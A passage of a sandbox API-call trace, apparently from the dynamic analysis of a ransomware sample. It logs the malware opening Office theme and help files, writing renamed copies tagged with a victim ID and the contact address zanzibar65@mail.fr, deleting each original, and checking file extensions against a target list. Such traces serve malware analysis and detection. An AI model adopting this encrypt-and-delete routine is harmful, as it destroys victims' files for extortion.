out: lpNewFilePointer=0x0) returned 1 [0046.540] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.540] GetLastError () returned 0x0 [0046.540] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0046.542] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0046.543] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.543] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.543] SetEndOfFile (hFile=0x208) returned 1 [0046.543] CloseHandle (hObject=0x208) returned 1 [0046.544] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.544] SetEndOfFile (hFile=0x174) returned 1 [0046.544] CloseHandle (hObject=0x174) returned 1 [0046.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.545] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0046.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.545] lstrlenW (lpString=".doc") returned 4 [0046.545] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.545] lstrlenW (lpString=".docx") returned 5 [0046.545] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.545] lstrlenW (lpString=".pdf") returned 4 [0046.545] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.545] lstrlenW (lpString=".xls") returned 4 [0046.545] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.546] lstrlenW (lpString=".xlsx") returned 5 [0046.546] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.546] lstrlenW (lpString=".ppt") returned 4 [0046.546] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.546] lstrlenW (lpString=".zip") returned 4 [0046.546] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.546] lstrlenW (lpString=".rar") returned 4 [0046.546] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.546] lstrlenW (lpString=".bz2") returned 4 [0046.546] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.546] lstrlenW (lpString=".7z") returned 3 [0046.546] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.546] lstrlenW (lpString=".dbf") returned 4 [0046.546] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.546] lstrlenW (lpString=".1cd") returned 4 [0046.546] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.546] lstrlenW (lpString=".jpg") returned 4 [0046.546] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.546] lstrlenW (lpString=".doc") returned 4 [0046.546] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.546] lstrlenW (lpString=".docx") returned 5 [0046.546] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.546] lstrlenW (lpString=".pdf") returned 4 [0046.546] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.546] lstrlenW (lpString=".xls") returned 4 [0046.546] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.547] lstrlenW (lpString=".xlsx") returned 5 [0046.547] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.547] lstrlenW (lpString=".ppt") returned 4 [0046.547] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.547] lstrlenW (lpString=".zip") returned 4 [0046.547] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.547] lstrlenW (lpString=".rar") returned 4 [0046.547] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.547] lstrlenW (lpString=".bz2") returned 4 [0046.547] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.547] lstrlenW (lpString=".7z") returned 3 [0046.547] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.547] lstrlenW (lpString=".dbf") returned 4 [0046.547] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.547] lstrlenW (lpString=".1cd") returned 4 [0046.547] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0046.547] lstrlenW (lpString=".jpg") returned 4 [0046.547] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.547] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.547] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.548] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1571) returned 1 [0046.548] CloseHandle (hObject=0x174) returned 1 [0046.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0046.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.549] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.549] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.550] GetLastError () returned 0x0 [0046.550] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x623, lpOverlapped=0x0) returned 1 [0046.554] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x630, lpOverlapped=0x0) returned 1 [0046.555] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.555] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.555] SetEndOfFile (hFile=0x208) returned 1 [0046.555] CloseHandle (hObject=0x208) returned 1 [0046.555] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.555] SetEndOfFile (hFile=0x174) returned 1 [0046.556] CloseHandle (hObject=0x174) returned 1 [0046.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.556] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.557] lstrlenW (lpString=".doc") returned 4 [0046.557] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.557] lstrlenW (lpString=".docx") returned 5 [0046.557] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.557] lstrlenW (lpString=".pdf") returned 4 [0046.557] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.557] lstrlenW (lpString=".xls") returned 4 [0046.557] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.557] lstrlenW (lpString=".xlsx") returned 5 [0046.557] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.557] lstrlenW (lpString=".ppt") returned 4 [0046.557] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.557] lstrlenW (lpString=".zip") returned 4 [0046.557] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.557] lstrlenW (lpString=".rar") returned 4 [0046.557] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.557] lstrlenW (lpString=".bz2") returned 4 [0046.557] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.557] lstrlenW (lpString=".7z") returned 3 [0046.557] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.557] lstrlenW (lpString=".dbf") returned 4 [0046.557] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.557] lstrlenW (lpString=".1cd") returned 4 [0046.557] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.557] lstrlenW (lpString=".jpg") returned 4 [0046.557] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.558] lstrlenW (lpString=".doc") returned 4 [0046.558] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.558] lstrlenW (lpString=".docx") returned 5 [0046.558] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.558] lstrlenW (lpString=".pdf") returned 4 [0046.558] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.558] lstrlenW (lpString=".xls") returned 4 [0046.558] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.558] lstrlenW (lpString=".xlsx") returned 5 [0046.558] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.558] lstrlenW (lpString=".ppt") returned 4 [0046.558] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.558] lstrlenW (lpString=".zip") returned 4 [0046.558] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.558] lstrlenW (lpString=".rar") returned 4 [0046.558] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.558] lstrlenW (lpString=".bz2") returned 4 [0046.558] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.558] lstrlenW (lpString=".7z") returned 3 [0046.558] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.558] lstrlenW (lpString=".dbf") returned 4 [0046.558] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.558] lstrlenW (lpString=".1cd") returned 4 [0046.558] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0046.558] lstrlenW (lpString=".jpg") returned 4 [0046.558] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.559] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.559] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.560] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=30170) returned 1 [0046.560] CloseHandle (hObject=0x174) returned 1 [0046.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0046.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.560] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.560] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.560] GetLastError () returned 0x0 [0046.560] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x75da, lpOverlapped=0x0) returned 1 [0046.562] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0046.564] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.564] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.564] SetEndOfFile (hFile=0x208) returned 1 [0046.564] CloseHandle (hObject=0x208) returned 1 [0046.564] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.564] SetEndOfFile (hFile=0x174) returned 1 [0046.565] CloseHandle (hObject=0x174) returned 1 [0046.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.565] lstrlenW (lpString=".doc") returned 4 [0046.565] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.566] lstrlenW (lpString=".docx") returned 5 [0046.566] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.566] lstrlenW (lpString=".pdf") returned 4 [0046.566] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.566] lstrlenW (lpString=".xls") returned 4 [0046.566] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.566] lstrlenW (lpString=".xlsx") returned 5 [0046.566] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.566] lstrlenW (lpString=".ppt") returned 4 [0046.566] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.566] lstrlenW (lpString=".zip") returned 4 [0046.566] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.566] lstrlenW (lpString=".rar") returned 4 [0046.566] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.566] lstrlenW (lpString=".bz2") returned 4 [0046.566] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.566] lstrlenW (lpString=".7z") returned 3 [0046.566] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.566] lstrlenW (lpString=".dbf") returned 4 [0046.566] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.566] lstrlenW (lpString=".1cd") returned 4 [0046.566] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.566] lstrlenW (lpString=".jpg") returned 4 [0046.566] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.566] lstrlenW (lpString=".doc") returned 4 [0046.566] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.567] lstrlenW (lpString=".docx") returned 5 [0046.567] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.567] lstrlenW (lpString=".pdf") returned 4 [0046.567] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.567] lstrlenW (lpString=".xls") returned 4 [0046.567] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.567] lstrlenW (lpString=".xlsx") returned 5 [0046.567] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.567] lstrlenW (lpString=".ppt") returned 4 [0046.567] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.567] lstrlenW (lpString=".zip") returned 4 [0046.567] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.567] lstrlenW (lpString=".rar") returned 4 [0046.567] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.567] lstrlenW (lpString=".bz2") returned 4 [0046.567] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.567] lstrlenW (lpString=".7z") returned 3 [0046.567] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.567] lstrlenW (lpString=".dbf") returned 4 [0046.567] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.567] lstrlenW (lpString=".1cd") returned 4 [0046.567] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0046.567] lstrlenW (lpString=".jpg") returned 4 [0046.567] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.567] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0046.568] lstrlenW (lpString="FM20.CHM") returned 8 [0046.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.568] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=334427) returned 1 [0046.568] CloseHandle (hObject=0x174) returned 1 [0046.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0046.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.569] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.569] SetFilePointerEx (in: hFile=0x174, 